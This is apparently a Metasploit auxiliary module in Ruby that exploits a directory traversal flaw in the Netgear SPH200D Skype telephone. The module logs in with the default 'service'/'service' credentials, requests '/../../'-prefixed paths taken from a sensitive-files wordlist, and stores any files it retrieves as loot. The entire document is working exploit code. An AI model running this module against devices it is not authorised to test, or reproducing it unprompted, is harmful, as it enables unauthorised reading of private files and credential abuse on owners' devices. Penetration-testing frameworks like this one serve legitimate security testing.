##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',
      'Description' => %q{
          This module exploits a directory traversal vulnerability which is present in
        Netgear SPH200D Skype telephone.
      },
      'References' => [
        [ 'CVE', '2013-10063' ],
        [ 'BID', '57660' ],
        [ 'EDB', '24441' ],
        [ 'URL', 'http://support.netgear.com/product/SPH200D' ],
        [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]
      ],
      'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
      'License' => MSF_LICENSE
    )
    register_options(
      [
        OptPath.new('FILELIST', [
          true, "File containing sensitive files, one per line",
          File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt")
        ]),
        OptString.new('HttpUsername', [ true, 'User to login with', 'service']),
        OptString.new('HttpPassword', [ true, 'Password to login with', 'service'])
      ]
    )
  end

  def extract_words(wordfile)
    return [] unless wordfile && File.readable?(wordfile)

    begin
      File.readlines(wordfile, chomp: true)
    rescue ::StandardError => e
      elog(e)
      []
    end
  end

  # traverse every file
  def find_files(file, user, pass)
    traversal = '/../../'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(traversal, file),
      'authorization' => basic_auth(user, pass)
    })

    if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
      print_good("Request may have succeeded on file #{file}")
      report_web_vuln({
        :host => rhost,
        :port => rport,
        :vhost => datastore['VHOST'],
        :path => "/",
        :pname => normalize_uri(traversal, file),
        :risk => 3,
        :proof => normalize_uri(traversal, file),
        :name => self.fullname,
        :category => "web",
        :method => "GET"
      })

      loot = store_loot("lfi.data", "text/plain", rhost, res.body, file)
      vprint_good("File #{file} downloaded to: #{loot}")
    elsif res and res.code
      vprint_error("Attempt returned HTTP error #{res.code} when trying to access #{file}")
    end
  end

  def run_host(ip)
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']

    vprint_status("Trying to login with #{user} / #{pass}")

    # test login
    begin
      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET',
        'authorization' => basic_auth(user, pass)
      })

      return :abort if res.nil?
      return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)
      return :abort if (res.code == 404)

      if [200, 301, 302].include?(res.code)
        vprint_good("Successful login #{user}/#{pass}")
      else
        vprint_error("No successful login possible with #{user}/#{pass}")
        return :abort
      end
    rescue ::Rex::ConnectionError
      vprint_error("Failed to connect to the web server")
      return :abort
    end

    extract_words(datastore['FILELIST']).each do |file|
      find_files(file, user, pass) unless file.empty?
    end
  end
end
